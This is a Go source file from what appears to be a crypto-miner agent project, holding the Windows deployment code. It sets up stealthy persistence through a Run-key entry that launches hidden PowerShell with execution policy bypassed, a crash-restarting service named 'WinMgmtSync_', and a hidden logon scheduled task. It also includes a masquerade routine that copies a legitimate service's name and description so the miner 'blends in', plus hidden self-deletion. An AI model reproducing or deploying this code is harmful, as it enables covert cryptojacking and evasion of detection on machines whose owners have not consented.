Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
183 lines
6.1 KiB
Go
183 lines
6.1 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"syscall"
|
|
|
|
"crypto-miner-agent/config"
|
|
|
|
"golang.org/x/sys/windows/registry"
|
|
)
|
|
|
|
func CurrentExecutable() (string, error) {
|
|
path, err := os.Executable()
|
|
if err != nil {
|
|
return filepath.Abs(os.Args[0])
|
|
}
|
|
return filepath.Abs(path)
|
|
}
|
|
|
|
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
|
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer k.Close()
|
|
// Wrap in PowerShell so the console window is suppressed on startup.
|
|
val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`,
|
|
strings.ReplaceAll(binPath, `'`, `''`), runFlag)
|
|
return k.SetStringValue(PersistenceKeyName(cfg), val)
|
|
}
|
|
|
|
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
|
switch cfg.RunAs {
|
|
case "service":
|
|
return createWindowsService(cfg, installedBin)
|
|
case "scheduled":
|
|
return createScheduledTask(cfg, installedBin)
|
|
default:
|
|
return nil
|
|
}
|
|
}
|
|
|
|
// createWindowsService installs the miner as a real Windows Service with
|
|
// automatic crash-restart. When ServiceMasquerade is enabled, the service
|
|
// name and description are cloned from the donor service so it blends in.
|
|
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
|
svcName := cfg.ServiceName
|
|
if svcName == "" {
|
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
|
}
|
|
|
|
// Tear down any stale instance first (errors are expected and ignored)
|
|
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
|
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
|
// Give SCM time to fully remove the entry
|
|
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
|
|
|
|
// Create the service
|
|
if err := exec.Command("sc.exe", "create", svcName,
|
|
"binPath=", `"`+binPath+`" --run`,
|
|
"type=", "own",
|
|
"start=", "auto",
|
|
"error=", "ignore",
|
|
).Run(); err != nil {
|
|
return fmt.Errorf("sc create: %w", err)
|
|
}
|
|
|
|
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
|
|
_ = exec.Command("sc.exe", "failure", svcName,
|
|
"reset=", "60",
|
|
"actions=", "restart/0/restart/5000/restart/30000",
|
|
).Run()
|
|
|
|
// Start it
|
|
_ = exec.Command("sc.exe", "start", svcName).Run()
|
|
|
|
// Masquerade: copy description from donor service
|
|
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
|
|
cloneServiceDescription(svcName, cfg.ServiceDonor)
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
// cloneServiceDescription copies the display name and description from
|
|
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
|
|
func cloneServiceDescription(targetSvc, donorSvc string) {
|
|
ps := fmt.Sprintf(`
|
|
$donor = Get-Service '%s' -EA SilentlyContinue
|
|
if ($donor) {
|
|
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
|
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
|
if ($donorWmi) {
|
|
sc.exe description '%s' ($donorWmi.Description)
|
|
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
|
}
|
|
}
|
|
`,
|
|
strings.ReplaceAll(donorSvc, `'`, `''`),
|
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
|
strings.ReplaceAll(donorSvc, `'`, `''`),
|
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
|
)
|
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
|
_ = cmd.Run()
|
|
}
|
|
|
|
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
|
taskName := PersistenceKeyName(cfg)
|
|
if taskName == "" {
|
|
taskName = "CryptoMinerAgent"
|
|
}
|
|
safeBin := strings.ReplaceAll(binPath, `'`, `''`)
|
|
safeTask := strings.ReplaceAll(taskName, `'`, `''`)
|
|
// Wrap in PowerShell with -WindowStyle Hidden so no console window appears.
|
|
// RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop
|
|
// from spamming the screen. The watchdog covers longer-term health.
|
|
psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag)
|
|
script := fmt.Sprintf(
|
|
`$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
|
strings.ReplaceAll(psArg, `'`, `''`),
|
|
safeTask,
|
|
)
|
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
|
return cmd.Run()
|
|
}
|
|
|
|
func applyDetachedStart(cmd *exec.Cmd) {
|
|
if cmd == nil {
|
|
return
|
|
}
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
|
HideWindow: true,
|
|
CreationFlags: 0x08000000,
|
|
}
|
|
}
|
|
|
|
func HostOSVersion() string {
|
|
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
|
if err != nil {
|
|
return "windows"
|
|
}
|
|
return strings.TrimSpace(string(out))
|
|
}
|
|
|
|
func killWorkerProcess(cfg config.RuntimeConfig) {
|
|
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
|
}
|
|
|
|
func removePersistence(cfg config.RuntimeConfig) {
|
|
keyName := PersistenceKeyName(cfg)
|
|
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
|
if err == nil {
|
|
_ = runKey.DeleteValue(keyName)
|
|
runKey.Close()
|
|
}
|
|
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
|
// Remove service — use the configured name if available, fall back to legacy pattern
|
|
svcName := cfg.ServiceName
|
|
if svcName == "" {
|
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
|
}
|
|
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
|
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
|
}
|
|
|
|
func selfUninstallSpawn(installDir string) {
|
|
ps := fmt.Sprintf(`
|
|
$dir = '%s'
|
|
Start-Sleep -Seconds 2
|
|
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
|
`, strings.ReplaceAll(installDir, "'", "''"))
|
|
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
|
_ = cmd.Start()
|
|
}
|